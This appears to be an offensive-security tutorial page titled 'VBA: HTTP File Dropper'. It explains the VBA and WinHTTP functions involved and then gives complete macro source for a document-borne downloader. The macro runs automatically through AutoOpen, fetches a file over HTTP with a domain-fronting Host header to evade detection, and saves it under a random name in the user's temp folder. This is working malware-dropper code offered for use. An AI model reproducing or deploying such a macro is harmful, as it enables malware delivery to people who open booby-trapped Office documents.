VBA: HTTP File Dropper
Objective
Download a file from web and save it into current users temp folder with random name.
To do list
Generate random name.
Find current users temp path.
Initialize WinHTTP.
Send a GET request to a URL.
Get response body as result.
Save it into temp folder with random name generated.
Functions
Environ: Will be used for detecting temp path of current user.
Definition: Environ(envstr)
envstr: "Temp" for finding temp path.
CreateObject: Will be used for creating WinHTTP object.
Definition: CreateObject(class, [ servername ])
Parameter: WinHTTP.WinHTTPrequest.5.1 for WinHTTP.
Open function of WinHTTP object: Will be used for creating HTTP handle.
Definition: Open "Method", "URL", false
Method: GET
URL: Url to retrieve value
false: I dont care about this.
SetRequestHeader function of WinHTTP object: Set custom http header.
Definition: SetRequestHeader "Header", "Value"
Header: e.g HOST
Value: e.g domain-fronting.com
Send function of WinHTTP object: Send http request.
Definition: Use it directly without any parameters.
ResponseBody function of WinHTTP object: Get the response body.
Definition: Use it directly without any parameters.
Open: will be used for opening file.
Definition: Open pathname For mode [ Access access ] [ lock ] As [ # ] filenumber
Put: will be used for putting data into file.
Application (Downloader.vba)
Sub AutoOpen()
Call DownloadFile
End Sub
Sub DownloadFile()
Dim httpObject As Object
Dim savePath As String
Dim url As String
Dim charList As Variant
Dim charListLength As Integer
Dim x As Long
Dim saveName As String
Dim Data() As Byte
Dim DataNum As Long
'char array will be used for creating new name
charList = Array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", _
"k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", _
"y", "z")
'length of the char array
charListLength = UBound(charList) - LBound(charList) + 1
' generate name for file. Name will be 8 chars long.
For x = 1 To 8
saveName = saveName & charList(Int((charListLength * Rnd)))
Next x
' get the temp file path
savePath = Environ("temp") & "\" & saveName
' Create winhttp object
Set httpObject = CreateObject("WinHTTP.WinHTTPrequest.5.1")
' open http handle
httpObject.Open "GET", "URL", False
' set necessary headers
httpObject.SetRequestHeader "Host", "domain-fronting.com"
'send request
httpObject.Send
'get response and save to save path.
Data = httpObject.ResponseBody
DataNum = FreeFile()
Open savePath For Binary Access Write As #DataNum
Put #DataNum, 1, Data
Close #DataNum
End Sub
Last updated
Was this helpful?